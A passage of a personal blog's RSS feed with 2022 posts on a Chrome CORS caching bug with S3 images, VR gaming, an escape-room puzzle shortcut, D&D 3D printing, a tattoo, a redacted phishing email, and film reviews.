   </li>
   <li>
    <p>
     <a href="https://www.cl.cam.ac.uk/coffee/qsf/coffee.html">
      The Trojan Room Coffee Pot A (non-technical) biography
     </a>
    </p>
   </li>
  </ul>
</description>
</item>
<item>
<title>S3 says yes computer says no</title>
<pubDate>Sun, 13 Nov 2022 13:10:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2022.html#p131120221310</link>
<description>
  <p>
   When you load a web page on your computer a number of things are happening.
  </p>
  <p>
   The list is long and mostly unimportant to you for the web page to load correctly. It
   <em>
    just works
   </em>
   .
  </p>
  <p>
   Except when it doesn't.
  </p>
  <p>
   I was working on project that allowed a user to select an image and have it applied to another image and then saved. A sort of design your own product but with predefined options.
  </p>
  <p>
   The technology was fairly simple. Javascript in the web page would list all the selection options and once selected apply them and save the results.
  </p>
  <p>
   When run in the development environment this all worked fine. When deployed to the staging environment it worked fine.
  </p>
  <p>
   The client was able to set up the staging environment for testing on a cloud server and show that the functionality worked in principal.
  </p>
  <p>
   Perfect, job done, pat on the back for everyone.
  </p>
  <p>
   Except there was a small problem. The number of images the client wanted to use and the number of images that users were creating was growing and was expected to accelerate. Storing all of these on the cloud web server was going to get expensive.
  </p>
  <p>
   Amazon cloud services has a offering called S3 that is ideal for this sort of project. You run your web server over here and then outsource all your file storage to S3.
  </p>
  <p>
   The code was changed to save all the files in S3 and tested. The tests showed the images were now saved in S3 but nobody checked the functionality.
  </p>
  <p>
   The developers continued in their development environments and used old images available on their machines. Because, why not? They are just images.
  </p>
  <p>
   When the updates were pushed to staging the client noticed that something was not right. Sometimes the images would be applied correctly and sometimes not.
  </p>
  <p>
   The developers tested the staging environment and got consistent results, but different from the client. Most of the time selecting the image twice would fix the problem.
  </p>
  <p>
   Switching the developers to use a local environment that more closely matched the staging servers brought more misery, as no one seemed to be able to pin down exactly what the problem was or to consistently repeat it.
  </p>
  <p>
   Many ideas were put forward and tested, but there was still no consistency. Some tricks worked sometimes for some users.
  </p>
  <p>
   The issue turned out to be Chrome browser specific. This included Microsoft Edge, which is based on the same engine.
  </p>
  <p>
   It went something like this;
  </p>
  <p>
   The browser would send a request to S3 asking for an image and S3 would reply with the image. All, so far so good.
  </p>
  <p>
   Then the user would select the image they wanted and the code would try and apply the image.
  </p>
  <p>
   This is were it went a bit wonky. You see, to avoid getting files that you have already download, your browser keeps a cache. If you request the same file again then it gets it from the cache instead of bothering the server. There are a number ways caching and cache expiry are done, but it is not relevant here.
  </p>
  <p>
   So the code asks for a copy of the image to apply and the browser very helpfully says "no problem, I have that here, here you go". Sounds sensible, if it wasn't for web browser security.
  </p>
  <p>
   To stop web pages from just pulling files from any old place and doing what they liked with them, both the browser and and the file server have to accept the intent.
  </p>
  <p>
   The way they handle this is through bits of information sent to the server with the request for a file and bits sent back with the file. These are called headers.
  </p>
  <p>
   With everyone in agreement everything
   <em>
    just works
   </em>
   and it would have if everyone was using Firefox as a web browser.
  </p>
  <p>
   What was happening was Chrome was making the original request to list the images correctly. Headers were sent and correct headers were received. But, when the image was requested again and the cache was used
   <strong>
    NO HEADERS
   </strong>
   were being included and the
   <strong>
    SECURITY
   </strong>
   just stopped everything dead.
  </p>
  <p>
   <strong>
    Computer says No!
   </strong>
  </p>
  <p>
   The developers would often be using Firefox or Chrome developer tools which
   <strong>
    turns off caching
   </strong>
   . And sometimes people would reload the page or interact with it in a way that would invalidate the cache.
Not to mention, local images, http vs https addresses and myriad of other things that
   <em>
    could
   </em>
   have been causing an issue.
  </p>
  <p>
   The solution was to force the browser to request the images without using the cache. Which is fairly straight forward.
  </p>
  <p>
   Instead of asking for
   <code>
    image1.jpg
   </code>
   you request
   <code>
    image1.jpg?cb=999
   </code>
   were the
   <strong>
    999
   </strong>
   is a random number. The file server cannot know if the request will be a straight forward file called
   <code>
    image1.jpg
   </code>
   or something generated by the random number.
  </p>
  <p>
   What is interesting is that nobody at any point expected Chrome to have known bug that is marked
   <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=409090">
    <strong>
     Wont fix(closed)
    </strong>
   </a>
   by the Chrome development team.
  </p>
  <p>
   Write up about the technical details.
   <a href="https://www.hacksoft.io/blog/handle-images-cors-error-in-chrome">
    hacksoft.io...handle-cors-error-in-chrome
   </a>
  </p>
</description>
</item>
<item>
<title>dungeon tape for hacking the ancients</title>
<pubDate>Sat, 12 Nov 2022 18:08:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2022.html#p121120221808</link>
<description>
  <p>
   A slightly different hack this time and an opportunity to talk about my favourite game on the Oculus Quest 2.
  </p>
  <p>
   I found Ancient Dungeon on applab a couple of years ago as a free demo/beta and loved it. Played it to death.
  </p>
  <p>
   So when I found a full release version I had to have it!
  </p>
  <p>
   Ancient Dungeon is an odd one. It looks terrible. Unless you are a Minecraft fan.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons loading screen" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-134844.jpg" title="Screenshot of ancient dungeons loading screen"/>
  </p>
  <p>
   But hidden beneath the surface is a game that is well worth your time.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons weapons" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-135245.jpg" title="Screenshot of ancient dungeons weapons"/>
  </p>
  <p>
   The more you play the more you unlock. You start with a throwing knife and sword, but can upgrade to a crossbow. These weapons themselves can be upgraded using
   <em>
    Beast Blood
   </em>
   that you get from defeating the end of game boss.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons slime" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-135309.jpg" title="Screenshot of ancient dungeons slime"/>
  </p>
  <p>
   There is a
   <strong>
    huge
   </strong>
   number of diverse enemies. From slimes to ogres, from spitting plants to flying bats, from wizards to laser diamonds. And each one has multiple variants and strengths.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons chest" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-135418.jpg" title="Screenshot of ancient dungeons chest"/>
  </p>
  <p>
   Which brings me to main
   <em>
    marmite
   </em>
   point of Ancient Dungeons. It's random, like really
   <strong>
    really
   </strong>
   random. The dungeon layout is random, the room contents are random, the enemies are random, the treasure is random and the power-ups are random.
  </p>
  <p>
   This can make for some insanely varied game plays. From high powered weapons and lots of health to abilities that have non-obvious drawbacks.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons chest open" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-135716.jpg" title="Screenshot of ancient dungeons chest open"/>
  </p>
  <p>
   There are potions,
   <em>
    marks
   </em>
   , shops and just straight up random abilities. But unless you played enough you may never see some of them.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons slime boss" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-140101.jpg" title="Screenshot of ancient dungeons slime boss"/>
  </p>
  <p>
   Each area has an end boss that is (you guessed it) random.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons pendulums" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-140337.jpg" title="Screenshot of ancient dungeons pendulums"/>
  </p>
  <p>
   The different themed areas have (you guessed it) random traps, hidden rooms, more traps and treasures.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons map health coins keys pouches marks" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-141051.jpg" title="Screenshot of ancient dungeons map health coins keys pouches marks"/>
  </p>
  <p>
   Being VR, you can turn your wrists and see, the map, your health, coins, keys, pouches and
   <em>
    marks
   </em>
   .
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons knights" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-141521.jpg" title="Screenshot of ancient dungeons knights"/>
  </p>
  <p>
   Each enemy and each challenge require a level of understanding. This encourages you to return many times to try another technique. Knights have a specific way of moving and attacking.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons wizards" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-141657.jpg" title="Screenshot of ancient dungeons wizards"/>
  </p>
  <p>
   Wizards fire glowing pink rings, but being VR you can duck behind a pillar.
  </p>
  <p>
   <img alt="Screenshot of ancient dungeons milestones" src="/home/rednuht/projects/flog/images/de.erthu.ancientdungeonfull-20221112-142235.jpg" title="Screenshot of ancient dungeons milestones"/>
  </p>
  <p>
   Right, now I have introduced a very small number of the features of Ancient Dungeon, I can talk about the
   <em>
    hack
   </em>
  </p>
  <p>
   One of the finds in the dungeon is challenge rooms. Sometimes they are tricky traps, other times exploration and other times you have to climb.
  </p>
  <p>
   I came across one room where the climbing handles were too far apart to reach ...
  </p>
  <p>
   But this is VR. What if I really
   <strong>
    really
   </strong>
   stretch or put one controller under my foot ...
  </p>
  <p>
   This got me so far, but the solution was to tape the trigger down while grabbing a climbing handle and then climbing (in the real world) on to a chair.
  </p>
  <p>
   Don't do this. I fell off and falling in real life while wearing a VR headset is not fun!
  </p>
  <p>
   It did work though :)
  </p>
  <p>
   Ancient Dungeon gets bug fix and content updates often, so hopefully no one else is forced to do this.
  </p>
  <p>
   Current plays is 346 with 40 completions. Lots of reasons to go back and play again !
  </p>
</description>
</item>
<item>
<title>hacking an escape room in the real world</title>
<pubDate>Sat, 12 Nov 2022 11:32:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2022.html#p121120221132</link>
<description>
  <p>
   Time for a brief intermission ... for hacking an Escape Room!
  </p>
  <p>
   This was my second Escape Room in the real world and it took place a couple of hundred miles away from the first. I was also with a completely different team.
  </p>
  <p>
   The theme was around a biological outbreak and the vaccine has been hidden by a recently murdered scientist.
  </p>
  <p>
   The single room had various cabinets, shelves, a desk and various oddities.
  </p>
  <p>
   But my eye was drawn directly to the open Mac-book on the desk that was requesting a password. The screen was open with Safari browser pointing at a local web page. This indicated that the password would be checked in Javascript, no server based database ...
  </p>
  <p>
   A quick opening of dev tools and I could see ... well, not a simple
  </p>
  <pre><code>const password = 'topsecret'
if (input === password) {
    window.location = 'secretpage.html';
}
</code></pre>
  <p>
   Instead the password was calculated from a number of minified methods and variables.
  </p>
  <p>
   So they had made some effort to stop the casual hacker.
  </p>
  <p>
   <strong>
    Not good enough!
   </strong>
  </p>
  <p>
   There was still a
   <em>
    compare user input to password
   </em>
   . Just a quick copy and paste of the calls it was making into the dev console and ...
   <strong>
    Bingo!
   </strong>
   one decrypted password.
  </p>
  <p>
   Enter that on to the page and ...
  </p>
  <p>
   There was no "secretpage.html", instead it was a hidden div.
  </p>
  <p>
   So I didn't need the password at all :)
  </p>
  <p>
   The newly visible div shows a lock combination. Now, at the beginning the staff had explained how to use a tumbler padlock ...
  </p>
  <p>
   But no one in the party could get it to work, so we assumed it was wrong.
  </p>
  <p>
   It was not wrong. That was supposed to be the final puzzle in the room and we did find the password through normal means eventually.
  </p>
  <p>
   Then we still couldn't get the lock to open with the same combination.
  </p>
  <p>
   In the end we lost the game and then the staff member showed how it was the correct lock combination :(
  </p>
  <p>
   Still, we all had fun and then went for chocolate frosty milkshakes :)
  </p>
</description>
</item>
<item>
<title>an akylosaurus called muffin</title>
<pubDate>Tue, 01 Nov 2022 22:41:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2022.html#p011120222241</link>
<description>
  <p>
   Back in July the D&amp;D campaign I was on encountered some dinosaurs (like you do).
  </p>
  <p>
   We defeated the ones that attacked us and were left with a non aggressive ankylosaurus. This was quickly named "Muffin" and tamed. It was also used as a pack horse to carry a boat, that one member of the party was convinced we would need eventually.
  </p>
  <p>
   Spoiler, we never needed the boat.
  </p>
  <p>
   It tickled my fancy to to try and model this ankylosaurus and a boat for it to carry.
  </p>
  <p>
   I did the following without any reference material, so it's a bit stylised, but everyone enjoyed the output!
  </p>
  <p>
   I knew exactly how I was going to tackle this, so I started with an incredibly blocky base.
  </p>
  <p>
   <img alt="blocky mesh of ankylosaurus - blender screen shot" src="/home/rednuht/projects/flog/images/muffin_boxy.jpg" title="blocky mesh of ankylosaurus - blender screen shot"/>
  </p>
  <p>
   A quick Sub Surf modifier and some light sculpting with mirroring turned on.
  </p>
  <p>
   <img alt="ankylosaurus mesh - rough - blender screenshot" src="/home/rednuht/projects/flog/images/muffin_subsurfy_plus_some_mild_sculpting.jpg" title="ankylosaurus mesh - rough - blender screenshot"/>
  </p>
  <p>
   Some more sculpting detail and a quick, simple boat shape.
  </p>
  <p>
   <img alt="ankylosaurus clay blender screenshot" src="/home/rednuht/projects/flog/images/muffin_clay_plus_boat.jpg" title="ankylosaurus clay blender screenshot"/>
  </p>
  <p>
   My favourite UV MatCap view in Blender. Will all those details come out in the final print?
  </p>
  <p>
   <img alt="ankylosaurus UV matcap blender screenshot" src="/home/rednuht/projects/flog/images/muffin_UV_plus_boat.jpg" title="ankylosaurus UV matcap blender screenshot"/>
  </p>
  <p>
   And a quick Jade MatCap because ... well, it looks nice!
  </p>
  <p>
   <img alt="ankylosaurus Jade matcap blender screenshot" src="/home/rednuht/projects/flog/images/muffin_Jade_plus_boat.jpg" title="ankylosaurus Jade matcap blender screenshot"/>
  </p>
  <p>
   I still only have black PLA filament for the printer so these are a little dark.
  </p>
  <p>
   <img alt="muffin the ankylosaurus 3d printed photo" src="/home/rednuht/projects/flog/images/muffin_printed_photo.jpg" title="muffin the ankylosaurus 3d printed photo"/>
  </p>
  <p>
   <img alt="muffin the ankylosaurus 3d printed top photo" src="/home/rednuht/projects/flog/images/muffin_printed_top_photo.jpg" title="muffin the ankylosaurus 3d printed top photo"/>
  </p>
  <p>
   There you have it, lots of detail and I love all the bone extrusions in tail.
  </p>
  <p>
   Quick note: This is not and was never intended to be a photo realistic ankylosaurus. Just a bit of fun.
  </p>
</description>
</item>
<item>
<title>binary evangelical post to fill the void of October</title>
<pubDate>Sun, 30 Oct 2022 22:16:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2022.html#p301020222216</link>
<description>
  <p>
   A simple statement for October...
  </p>
  <blockquote>
   <p>
    "There are only two types of people in this world. Those who have watched Neon Genesis Evangelion and those who have not"
   </p>
  </blockquote>
  <p>
   I can't say anything else without spoiling it, but it is not the Mecha Gundam clone I expected, in fact the mechs are a tiny portion of the story.
  </p>
  <p>
   I also have a
   <em>
    HUGE
   </em>
   backlog of flog posts that I am collecting.
  </p>
  <p>
   Stay tuned for November 2022
  </p>
</description>
</item>
<item>
<title>all cyber arrows point to tattoo</title>
<pubDate>Thu, 29 Sep 2022 22:02:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2022.html#p290920222202</link>
<description>
  <p>
   And now time for something completely different!
  </p>
  <p>
   I got a Tattoo!
  </p>
  <p>
   Designed in Inkscape
  </p>
  <p>
   <img alt="tattoo design in inkscape" src="/home/rednuht/projects/flog/images/tattoo-inkscape-screenshot.jpg" title="tattoo design in inkscape"/>
  </p>
  <p>
   I wanted a geometric
   <em>
    cyber arrow
   </em>
   to go on my arm.
  </p>
  <p>
   A photo of my arm and some Photoshopping with Gimp and I had all my favourite colours, with and without outlines.
  </p>
  <p>
   <img alt="Tattoo design superimposed on to a photo of my arm" src="/home/rednuht/projects/flog/images/tattoo-complete-collection_1000x289.jpg" title="Tattoo design superimposed on to a photo of my arm"/>
  </p>
  <p>
   I sent my final choice to the tattoo artist (aquamarine) and set up the appointment.
  </p>
  <p>
   On the day the artist had prepared my geometric design with a gradient and it looked awesome!
  </p>
  <p>
   They transferred the outline via a print out to get positioning and confirming size and got to work.
  </p>
  <p>
   <img alt="photo or tattoo lining done" src="/home/rednuht/projects/flog/images/tattoo-process-lined.jpg" title="photo or tattoo lining done"/>
  </p>
  <p>
   Things were going well up to this point and there was minimum pain. However I had forgotten to breath. Had to lie down on the chair with my feet in the air and then go and eat and drink.
  </p>
  <p>
   Apparently it is quite common and not necessarily to do with pain or fear, just adrenaline.
  </p>
  <p>
   Back on course and she filled in the rest without issue. There was one area on my left that was about 10% of the total tattoo were I did find it uncomfortable, but nothing I couldn't handle!
  </p>
  <p>
   What do you do with a new tattoo?
  </p>
  <p>
   Wrap it in cling-film of course.
  </p>
  <p>
   <img alt="Photo of tattoo wrapped in cling-film" src="/home/rednuht/projects/flog/images/tattoo-process-clingfilm.jpg" title="Photo of tattoo wrapped in cling-film"/>
  </p>
  <p>
   There were lots of care instructions, which I was not expecting.
  </p>
  <p>
   A couple of days later and the swelling had gone down and the
   <em>
    crusting
   </em>
   started.
   <strong>
    Must not pick
   </strong>
  </p>
  <p>
   <img alt="photo close up of tattoo crusting over" src="/home/rednuht/projects/flog/images/tattoo-process-crusty.jpg" title="photo close up of tattoo crusting over"/>
  </p>
  <p>
   Two months later and I need to go back and get a touch-up (which was included in the original price)
  </p>
  <p>
   You can see the areas with very little ink in red and better but not perfect areas in orange.
  </p>
  <p>
   <img alt="Photo of tattoo highlighting areas for ink touch-up" src="/home/rednuht/projects/flog/images/tattoo-process-2months-later.jpg" title="Photo of tattoo highlighting areas for ink touch-up"/>
  </p>
  <p>
   No, I don't want any more and Yes I love it!
  </p>
  <p>
   Everyday I see it on my arm and it makes me smile!
  </p>
</description>
</item>
<item>
<title>is developer mode ruining your scrolling experience?</title>
<pubDate>Tue, 02 Aug 2022 22:36:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2022.html#p020820222236</link>
<description>
  <p>
   Something that I noticed a few weeks ago, was my Pixel 3 android phone wasn't letting me scroll consistently. It was selecting things multiple times as if I was rapidly clicking instead of scrolling. Very annoying, rebooted and it didn't go away.
  </p>
  <p>
   I thought it might be my fingers conductivity, but various experiments revealed nothing. Then it just went away...
  </p>
  <p>
   Until today. Quick bit of Googling and get suggestions of
1. Reboot
   <br/>
   2. Upgrade
   <br/>
   3. Your screen is broken and needs to be replaced
   <br/>
   4. Factory reset
   <br/>
   5. Turn off developer mode.
  </p>
  <p>
   The first four were parroted everywhere but not wanting to deal with 3 and 4 I kept digging, to find number 5 on Google's own android troubleshooting site.
  </p>
  <p>
   Turned off Developer mode and instantly started working properly again.
  </p>
  <p>
   WIN!
  </p>
</description>
</item>
<item>
<title>its time to complain about the weather again</title>
<pubDate>Sun, 31 Jul 2022 20:13:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2022.html#p310720222013</link>
<description>
  <p>
   So back on the
   <a href="Jul2022.html#p120720222244">
    12th July I was complaining about the heat
   </a>
   . But on the 20th, just 8 days later it was 40°C and that was most uncomfortable.
  </p>
  <p>
   Currently is seems to be hovering around 23-24°C. This is only bearable with a fan on almost constantly.
  </p>
</description>
</item>
<item>
<title>designing a printable dice tower with spiral staircase</title>
<pubDate>Wed, 27 Jul 2022 22:15:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2022.html#p270720222215</link>
<description>
  <p>
   After the
  </p>
  <p>
   <img alt="screenshot from prusa slicer of dragon head dice holder sliced" src="/home/rednuht/projects/flog/images/3d-dragonhead-sliced.jpg" title="Dice holder 3d print"/>
   <a href="://Jun2022.html#p150620222148">
    Dragon head dice holder
   </a>
  </p>
  <p>
   I wanted to do some more D&amp;D 3D printing, so I designed a dice tower.
  </p>
  <p>
   One of the regulars had a wooden dice tower that was basically a square wooden box with a ramp inside and an exit slot at the bottom.
  </p>
  <p>
   I could do better than that...?
  </p>
  <p>
   I wanted a literal dice tower so I blendered one :D
  </p>
  <p>
   A cylinder with an array of cubes.
   <img alt="screenshot from blender of basic dice tower" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_array_stairs.jpg" title="Array of block stairs"/>
  </p>
  <p>
   Base step shape sculpted to look worn and promote gravity on dice.
   <img alt="screenshot from blender showing sculpted steps" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_sculpted_step.jpg" title="sculpted steps"/>
  </p>
  <p>
   Cylinder with inserted faces extruded, partially sculpted. Doorway and exit-only chest added. Center pole and ramparts.
   <img alt="dice tower object in 3d" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_finished_with_ramparts.jpg" title="dice tower object in 3d"/>
  </p>
  <p>
   The chest stops the dice from getting stuck behind the stairway.
   <img alt="dice tower object in 3d" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_chest_in_tower.jpg" title="dice tower object in 3d"/>
  </p>
  <p>
   Looking at the path the dice will take.
   <img alt="dice tower object in 3d" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_finished_looking up.jpg" title="dice tower object in 3d"/>
  </p>
  <p>
   Before exporting as a .STL for printing I tried to fix every little error the 3D Print Toolbox showed up. This was a bad move and I lost a couple of days to fixing A and making B worse, fixing B and making A worse.
  </p>
  <p>
   <img alt="dice tower object in 3d" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_fixing_sculpted_step.jpg" title="dice tower object in 3d"/>
  </p>
  <p>
   Prusa Slicer took the model flaws and all without breaking a sweat.
   <img alt="Prusa slicer dice tower object in 3d" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_prusaslicer001.jpg" title="Prusa slicer dice tower object in 3d"/>
  </p>
  <p>
   At this point I should have noticed how thick the walls were...
   <img alt="Prusa slicer dice tower object in 3d slice" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_prusaslicer002.jpg" title="Prusa slicer dice tower object in 3d slice"/>
  </p>
  <p>
   and 10.5 hours later...
  </p>
  <p>
   Looking down into the printed tower
   <img alt="photo of dice tower printed" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_photo_looking_down_into_tower.jpg" title="photo of dice tower printed"/>
  </p>
  <p>
   I printed a mini version to see if the stairs could even be printed.
   <img alt="photo of dice tower printed with mini" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_photo_top_view_plus_mini_tower.jpg" title="photo of dice tower printed with mini"/>
  </p>
  <p>
   and does it work?
   <img alt="photo of dice tower printed with mini" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_photo_entrance_dice_mini_tower.jpg" title="photo of dice tower printed with mini"/>
  </p>
  <p>
   <img alt="photo of dice tower printed with dice" src="/home/rednuht/projects/flog/images/3d_d_and_d_tower_v1_photo_dice_plus_mini_tower.jpg" title="photo of dice tower printed with dice"/>
  </p>
  <p>
   OK, so it is not perfect. Some of my larger dice get stuck, but that's what V1.1 will fix !
  </p>
</description>
</item>
<item>
<title>spam spam bmw spam spam</title>
<pubDate>Tue, 26 Jul 2022 22:55:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2022.html#p260720222255</link>
<description>
  <p>
   <strong>
    SPAM SPAM SPAM
   </strong>
  </p>
  <p>
   I get a
   <strong>
    lot
   </strong>
   of
   <strong>
    SPAM
   </strong>
   , but this one caught my interest.
  </p>
  <blockquote>
   <p>
    From: Wise
    <a href="mailto:REDACTED@nb.sympatico.ca">
     REDACTED@nb.sympatico.ca
    </a>
    To: 
  Subject: Re:
  Date: Tue, 19 Jul 2022 09:19:17 -0400 (EDT)
  User-Agent: OWM Mail 3
   </p>
   <p>
    ​Logo
   </p>
   <p>
    Hello,
  We regret to inform you that we have restricted your account for your 
  own protection.
  This security procedure is important because you have not yet verified 
  your phone number.
  In order for us to continue to offer you a secure payment service, it is 
  necessary to confirm your mobile number.
  You can confirm your phone number by logging back into your account.
  Go to my account LINK REDACTED
  Thanks,
  The wise Team.
  This email was sent to you by Wise. By using our services, you agree to 
  our customer agreements.© Wise 2022. All rights reserved.
   </p>
  </blockquote>
  <p>
   Nothing very interesting or unusual there, but why can I scroll down so many blank lines?
  </p>
  <p>
   oh, this was at the end
  </p>
  <blockquote>
   <p>
    Book your appointment now.      Hello REDACTED ,BMW Teleservices, the 
on-board system in your vehicle, has notified us that the service on 
your BMW 320d xDrive is due. Our online booking tool allows you to book 
an appointment at your convenience by clicking the link below.
All our services are carried out by BMW Trained Technicians who only 
ever use Genuine BMW Parts that come with a two year warranty for added 
peace of mind.
Furthermore, our BMW Service Centres have implemented additional safety 
measures that include thoroughly cleaning the interior touchpoints of 
your BMW before it is returned to you.
We hope you stay safe and well.
   </p>
  </blockquote>
  <p>
   Followed by a load of legitimate links and the customer's full name and VIN!
  </p>
  <p>
   So, was this a coincidence or was a real email that BMW customers get used as a Trojan horse to bypass SPAM filters.
  </p>
  <p>
   And having the mail client set as Outlook Web Mobile probably helped.
  </p>
  <p>
   Better luck next time scum! (I am referring to the spammers not BMW)
  </p>
</description>
</item>
<item>
<title>what do you mean it is too hot to blog</title>
<pubDate>Tue, 12 Jul 2022 22:44:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2022.html#p120720222244</link>
<description>
  <p>
   Lots to post about, but it is too hot !!
  </p>
  <p>
   Has been 29-30°C most of the day.
  </p>
  <p>
   The sun went down a couple of hours ago and it is still a sweltering 25.5°
  </p>
</description>
</item>
<item>
<title>easy way to fix missing flog images</title>
<pubDate>Wed, 15 Jun 2022 21:58:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2022.html#p150620222158</link>
<description>
  <p>
   now I could manually upload the two missing images from the last post ... or ... I could just post this and let my scripts take care of it :D
  </p>
  <pre><code>touch ../images/3d-dragonhead-lots-of-issues.jpg
touch images/3d-dragonhead-v1-in-slicer.jpg
</code></pre>
  <p>
   Much better !
  </p>
</description>
</item>
<item>
<title>just one more dragon head print</title>
<pubDate>Wed, 15 Jun 2022 21:48:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2022.html#p150620222148</link>
<description>
  <p>
   Back to our regular programming.
  </p>
  <h1>
   3D Printing a Dragon head dice holder.
  </h1>
  <p>
   I started with a very simple planar mesh and applied Solidifier and Bevel modifiers
  </p>
  <p>
   <img alt="blender screenshot modelling dragon-head with solidify modifier" src="/home/rednuht/projects/flog/images/3d-dragonhead-solidify.jpg" title="blender screenshot modelling dragonhead with solidify modifier"/>
  </p>
  <p>
   After applying these, I got down to some seriously fun sculpting.
  </p>
  <p>
   <img alt="blender screenshot adding tongue to dragon head" src="/home/rednuht/projects/flog/images/3d-dragonhead-tongue.jpg" title="blender screenshot adding tongue to dragon head"/>
  </p>
  <p>
   The symmetry settings kept everything looking nice and ... symmetrical.
  </p>
  <p>
   The tongue was a simple cube extruded a few times with a SubSurf modifier.
  </p>
  <p>
   The 3D Print toolbox was not happy with the geometry of the model.
  </p>
  <p>
   <img alt="screenshot blender dragon head 3d print toolbox issues" src="/home/rednuht/projects/flog/images/3d-dragonhead-lots-of-issues.jpg" title="screenshot blender dragon head 3d print toolbox issues"/>
  </p>
  <p>
   But Prusa Slicer tackled it without issue. The
   <em>
    overhanging face
   </em>
   count was particularly concerning.
  </p>
  <p>
   <img alt="screenshot in prusa slicer of dragon head" src="/home/rednuht/projects/flog/images/3d-dragonhead-v1-in-slicer.jpg" title="screenshot in prusa slicer of dragon head"/>
  </p>
  <p>
   The print came out OK. The horns were a little wonky, but considering they had no supports I am amazed they printed at all.
  </p>
  <p>
   The D20 did not fit in the mouth. D4 did. So I did some tweaks and ... D20 still didn't fit. Some of the other dice did ... measuring didn't seem to help.
  </p>
  <p>
   <img alt="screenshot blender measuring dragon head" src="/home/rednuht/projects/flog/images/3d-dragonhead-tried-measuring.jpg" title="screenshot blender measuring dragon head"/>
  </p>
  <p>
   By now I had some feedback that the head was very crocidilian and I agreed. Back to sculpting board...
  </p>
  <p>
   <img alt="screenshot blender dragon head less croc" src="/home/rednuht/projects/flog/images/3d-dragonhead-less-croc.jpg" title="screenshot blender dragon head less croc"/>
  </p>
  <p>
   Which sliced up nicely.
  </p>
  <p>
   <img alt="screenshot prusa slicer dragon head less croc" src="/home/rednuht/projects/flog/images/3d-dragonhead-sliced.jpg" title="screenshot prusa slicer dragon head less croc"/>
  </p>
  <p>
   Then I got fed up trying to perfect it :D
  </p>
  <p>
   <img alt="photo dragon head 3d prints" src="/home/rednuht/projects/flog/images/3d-dragonhead-group-photo.jpg" title="photo dragon head 3d prints"/>
  </p>
  <p>
   You can see the progression, with thinner base plates and larger/wider mouths. Not to mention the
   <em>
    de-crocidilianisation
   </em>
  </p>
  <p>
   <img alt="photo 3d print close up of dragon head showing print layers" src="/home/rednuht/projects/flog/images/3d-dragonhead-photo-showing-layers.jpg" title="photo 3d print close up of dragon head showing print layers"/>
  </p>
  <p>
   I either left the Prusa Slicer settings on the default or lowered them to draft. In this close up photo the layers are very obvious, but the black hides it really well in real life.
  </p>
  <p>
   Next time I try another Dungeons and Dragons sculpt/print. Ten times the size of anything I have tried previously.
  </p>
</description>
</item>
<item>
<title>A glut of cinema reviews</title>
<pubDate>Thu, 02 Jun 2022 10:37:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2022.html#p020620221037</link>
<description>
  <p>
   Haven't done any cinema reviews for while...
  </p>
  <h3>
   Morbius
  </h3>
  <p>
   Missed opportunity. The
   <em>
    no blood
   </em>
   thing really made it a confusing mess. Lots of
   <em>
    why
   </em>
   questions about character motives.
  </p>
  <p>
   Not recommended.
  </p>
  <h3>
   Sonic the hedgehog 2
  </h3>
  <p>
   Jim Carrey carries this movie and that is a good thing. Silly fun, very entertaining.
  </p>
  <p>
   If you liked the first one, recommend, else this unlikely to change your mind.
  </p>
  <h3>
   Fantastic Beasts: The Secrets of Dumbledore
  </h3>
  <p>
   Cannot understand all the hate this got. It's not bad, it certainly feels a bit mixed up and forgettable.
  </p>
  <p>
   As a HP fan, recommended.
  </p>
  <h3>
   The Lost City
  </h3>
  <p>
   I was looking forward to this. Sandra Bullock as a romance writer sucked (not literally) into one of her own stories. As a comedy I wanted more Romancing the Stone and Jewel in the Nile. It is entertaining and Daniel Radcliffe as the baddie works well.
  </p>
  <p>
   Entertaining and fun. On the fence of recommending.
  </p>
  <h3>
